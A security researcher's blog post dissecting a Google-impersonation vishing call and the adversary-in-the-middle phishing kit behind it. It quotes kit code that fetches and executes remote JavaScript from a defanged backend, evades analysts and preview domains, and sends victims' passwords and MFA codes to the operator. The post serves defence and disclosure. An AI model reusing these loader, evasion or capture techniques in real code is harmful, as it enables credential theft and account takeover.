Anatomy of a Phishing Kit: From a Google Sites Link to a Real-Time MFA Bypass
Most phishing finds me the way it finds everyone: a link in an email I never asked for. This one came by phone, and it opened with the news that I was dead.
It started with a phone call
My phone rang showing a caller ID I actually recognized: 650-203-0000, Google’s real, published number. The voice on the other end was an automated system, and it had an unusual message: a legacy contact had reportedly notified Google that I had passed away, and the system needed me to confirm whether or not that was true.
I knew what this was within about three seconds. It’s a known campaign: the “Google Digital Legacy” scam, which weaponizes Google’s real Inactive Account Manager feature as a pretext; NYPC Fix has a solid breakdown of the social-engineering side if you want the non-technical version. But I was curious how far the rabbit hole went, so I told the robot the truth (reports of my death were greatly exaggerated) and hung up to wait.
About ten minutes later, a California number called back. A friendly gentleman introduced himself as a Google employee who was going to help me sort out this unfortunate mix-up with my legacy contact. The fix was simple, he said: just visit a website he’d give me and sign in to verify my identity. The site was a sites.google.com page dressed up as a Google login.
So I played dumb and asked the obvious question: why wouldn’t I just sign in at myaccount.google.com, where I normally manage my account? Without missing a beat, he assured me the sites subdomain should be treated exactly the same as the myaccount subdomain. (It should not. One is Google’s account console; the other is a free website builder that anyone on earth can publish to, which is the entire reason this scam works.)
Then I pushed a little harder: how do I actually know you’re from Google? He had his answers ready. The call came from Google’s number, didn’t it? Sure, I said. And caller ID is trivially spoofed. Fine, then he’d send me an email from a Google address to prove it. Also trivially spoofed, I told him.
That was the moment the mask came off. The helpful Google employee evaporated, and whoever was left spent his remaining breath on racial slurs and on mocking me for catching the act. Then the line went dead.
One honest caveat, since the rest of this post is me telling you to be skeptical: I don’t actually recommend doing what I did. The instant I confirmed I was “not deceased” to that first automated call, I almost certainly tagged my number as live and engaged, which is very likely why the callback came so quickly. Poking at a scam to map it is something I do with my eyes open and a high tolerance for the fallout. For just about everyone else, the right move is to hang up, not to play along. Curiosity has a cost, and the bill usually arrives as more calls.
He did, however, leave me with the one souvenir worth keeping: the link. hxxps://sites.google[.]com/view/legacy-alerts. A sites.google.com URL looks harmless, which is exactly the point. And I wanted to know what was actually behind it, specifically what a victim’s browser ends up shipping off to whoever built it.
So I pulled it apart. What I expected was a cheap HTML form that POSTs your password to a PHP script in someone’s compromised WordPress install. What I actually found was a fair bit more modern than that: a server-gated, dynamically-delivered, real-time adversary-in-the-middle kit that’s purpose-built to defeat two-factor authentication. This is a walkthrough of how it’s wired together.
A quick note before we start: everything below is passive analysis. I read HTML and JavaScript and made some unauthenticated requests for the next-stage payload. I never submitted credentials or any other data into the malicious infrastructure, and you shouldn’t either. Treat live phishing infrastructure the way you’d treat any other malware sample.
I’ve also defanged the indicators throughout:
hxxps://,gsupport-apis[.]com, and so on. That’s deliberate, so nothing here is a live, clickable link to a phishing site. If you’re copying these into a blocklist, un-defang as you go.
Layer 1: the Google Sites decoy
The first thing to understand is that the Google Sites page has no real content of its own. Google Sites renders its body from a JSON blob, so a plain fetch gives you almost nothing useful. Pull the raw HTML and decode the embedded gadget, though, and the whole page collapses down to a single element:
<iframe src="hxxps://www.gsupport-apis[.]com" allowfullscreen></iframe>That’s it. The entire page is a full-screen iframe pointing at www.gsupport-apis[.]com, a Google-lookalike domain registered about three weeks before I looked at it, with DNS fronted by Cloudflare and the site itself hosted on Vercel.
Google Sites is being used here purely as reputation laundering. A sites.google.com link sails through filters and looks trustworthy in a way that gsupport-apis[.]com never would. The real site just gets wrapped in an iframe so the victim never sees the actual domain in a way that registers.
Layer 2: the payload isn’t in the page
www.gsupport-apis[.]com is a React single-page app (built with Lovable / GPT-Engineer, if the gpt-engineer-file-uploads asset paths are anything to go by). I grabbed the JS bundles expecting to find the phishing form. It wasn’t there.
What I found instead was a component called VisitorGate. On load, it does this:
const g = "hxxps://ksyazpsofybuemyunxhc.supabase[.]co/functions/v1";
const p = await fetch(`${g}/visitor-bootstrap`, {
method: "POST",
headers: x,
body: JSON.stringify({ origin: window.location.origin }),
});
const i = await p.json(); // { code: "<javascript source>" }
let e = i.code;
// ...rewrite relative imports to absolute URLs...
const u = new Blob([e], { type: "text/javascript" });
const f = URL.createObjectURL(u);
const n = await import(f); // execute the server-supplied moduleRead that again. The phishing form is fetched from the server at runtime as a string of JavaScript, turned into a Blob URL, and dynamically import()-ed. The malicious code never sits in a static file. That defeats casual “view source” inspection and a lot of static scanning, and it means the operator can change the entire payload server-side without redeploying anything.
It gets better. VisitorGate has a couple of branches:
if (
/(?:^|\.)id-preview[^.]*\.lovable\.app$/i.test(window.location.hostname) ||
window.location.hostname.endsWith(".lovableproject.com")
) {
// load a harmless local component
}If you’re on a Lovable preview/dev domain, you get a benign component, so the builder’s own editor looks completely clean. And there’s a server-side gate too: a check-fingerprint function screens your IP and device, and if it doesn’t like you (bot, scanner, analyst), the bootstrap call comes back empty and the SPA renders a fake “503 Service Unavailable”. The real kit only ships to a targeted victim who clears the gate.
I retrieved the live payload anyway by replaying the visitor-bootstrap request with a plausible origin. It came back as ~150 KB of JavaScript. That’s the actual phishing kit.
Layer 3: a real-time, operator-driven kit
Here’s the part that moves this out of “annoying” and into “genuinely dangerous.” The payload is a pixel-faithful Google sign-in clone (Google Sans fonts, the logo, the lot), but it isn’t a static sequence of screens. It’s wired to a Supabase backend (ksyazpsofybuemyunxhc.supabase[.]co) and driven in real time through a live_visitors table over Supabase Realtime.
The flow is operator-controlled. The kit registers the victim, the attacker watches the session live, and they advance the victim to whichever screen the real Google login is asking for at that moment. The kit has a screen ready for every factor:
- Password (with a “show password” toggle that, yes, also gets logged)
- Authenticator app / TOTP code
- SMS code
- Email verification code
- Security code
- Backup code
- Screen-lock PIN
- Recovery email address
Every submission fires a capture event back to the backend. The naming isn’t even subtle:
// on password submit, `c` is the password the victim just typed
u(i(), "password_submitted", c);And the registration call bundles the credentials straight up:
invoke("visitor-register", {
body: {
id,
token,
step,
email: P.email,
password: P.password || "",
started_at,
refresh_count,
},
});A handful of Supabase edge functions do the work:
| Function | Job |
|---|---|
visitor-bootstrap | Serves the gated, dynamic phishing payload |
check-fingerprint | Screens IP/device to filter out analysts and bots |
visitor-register | Receives the victim’s email and password |
visitor-log | Streams submitted MFA codes and behavioral telemetry |
visitor-info | Collects IP/device fingerprint |
visitor-status | Polls for the operator’s next instruction |
There’s even a second, password-gated app behind the same backend (verify-operator and serve-dashboard), which is the attacker’s own console for watching victims come through. Same delivery trick: the dashboard module is served as a string and import()-ed at runtime, guarded by an “operator key.”
The whole thing exfiltrates to a single Supabase project. No Telegram bot, no Discord webhook, no email drop: everything funnels into one backend with the project ref ksyazpsofybuemyunxhc. (The sb_publishable_... key embedded in the page is a client-side publishable key; it’s supposed to be public, so finding it tells you nothing more than which project to report.)
Why the real-time bit matters
A classic phishing page steals your password and, if you’ve got MFA on, mostly just annoys the attacker. They’ve got half a credential and a wall they can’t climb.
This design beats that. Because a human operator is driving the session in parallel with a real Google login, the moment you hand over a one-time code, they feed it into the genuine login within seconds, while it’s still valid. Authenticator, SMS, email code, backup code: it doesn’t matter which factor your account uses, because the kit has a screen for each and the operator just asks for whatever Google is currently prompting them for. The end result is a fully authenticated session on your account, MFA and all.
That’s the uncomfortable takeaway: MFA is necessary but it is not magic. Phishing-resistant factors, like passkeys and hardware security keys (WebAuthn/FIDO2), are the thing that actually breaks this kit, because there’s no code for the victim to read out and relay. A six-digit code you can type is a six-digit code you can be tricked into typing somewhere else.
There’s a quieter defense that would have caught this one even earlier, and I should disclose up front that I work at 1Password, so weigh the plug accordingly. A password manager binds each saved login to a specific domain. The address bar on this scam read sites.google.com/view/legacy-alerts, with the actual login form served inside an iframe from gsupport-apis[.]com. Neither of those is accounts.google.com, so my password manager would never have offered to autofill my Google credentials. It knows they belong to one origin and nowhere else. That refusal is the signal. If the login you use every day suddenly won’t fill, the likely problem isn’t your password manager: it’s the page you’re on. It checks the domain so you don’t have to squint at it, and unlike a human it doesn’t get talked out of the answer by a trustworthy-looking sites.google.com URL or a reassuring voice on the phone.
What to do if you (or someone you know) hit one of these
If you only clicked, you’re fine. If you actually typed anything in, assume the account is compromised, and from a clean device:
- Reset the password.
- Revoke all active sessions and app passwords.
- Regenerate 2FA: rotate the authenticator seed and issue fresh backup codes. Any code you typed into the page was very likely already used.
- Check recovery email/phone and mail forwarding and filter rules for tampering. Account takeovers love to quietly add a forwarding rule.
- Seriously consider moving the account to a passkey or hardware key.
And report the infrastructure. In this case the high-impact targets were Supabase (the data sink) and Vercel (the front-end), plus the registrar and Cloudflare for the domain, and Google for the Sites decoy. Takedowns of the backend are what actually stop the bleeding, because without visitor-bootstrap there’s no payload to serve.
I reported it
Which is exactly what I did before publishing this. The point of writing it up is to show how the kit works, not to send anyone traffic, so I filed abuse reports across the chain first:
- Supabase: the backend project receiving every captured credential and code. This is the single most valuable report; kill the backend and the front-end has nothing to serve.
- Vercel: hosting the
gsupport-apis[.]comfront-end. - The registrar (NICENIC) and Cloudflare: for the domain itself, which was only a few weeks old.
- Google: for the Sites decoy, via the page’s own “Report abuse” link and Safe Browsing.
By the time you read this, there’s a good chance the infrastructure is already dead, which is the whole idea. The interesting part was never the specific domain; it was the pattern. The next one will have a different name and the same shape.
The thing I keep thinking about
None of the individual pieces here are exotic. Vercel, Supabase, a React SPA, an iframe, a Google Sites page: this is the same stack a lot of us reach for to ship a side project on a Saturday. The kit is “well-built” in the boring, professional sense: retry-with-backoff logic, a cooldown state machine, a Realtime control plane, an admin dashboard, environment-aware gating so the author’s own preview stays clean.
That’s the part worth sitting with. The tooling that makes it trivial for me to stand up a polished app in an afternoon makes it just as trivial for someone to stand up a polished credential-harvesting operation. And it isn’t only the code: the phone script was just as rehearsed, right down to a ready answer for “why not myaccount.google.com?” The whole thing was professional, patient, and convincing, and it held together until the exact moment I asked it to prove itself. That’s the tell. A real Google employee will never need you to prove they’re real by visiting a link; a scammer’s entire performance depends on you never asking.
The phishing page that gives itself away with broken CSS and a .ru domain is increasingly the exception. Assume the real ones look exactly like the products you use every day, and sound exactly like the support call you were half-expecting, and let the URL bar, not the polish, be the thing you trust.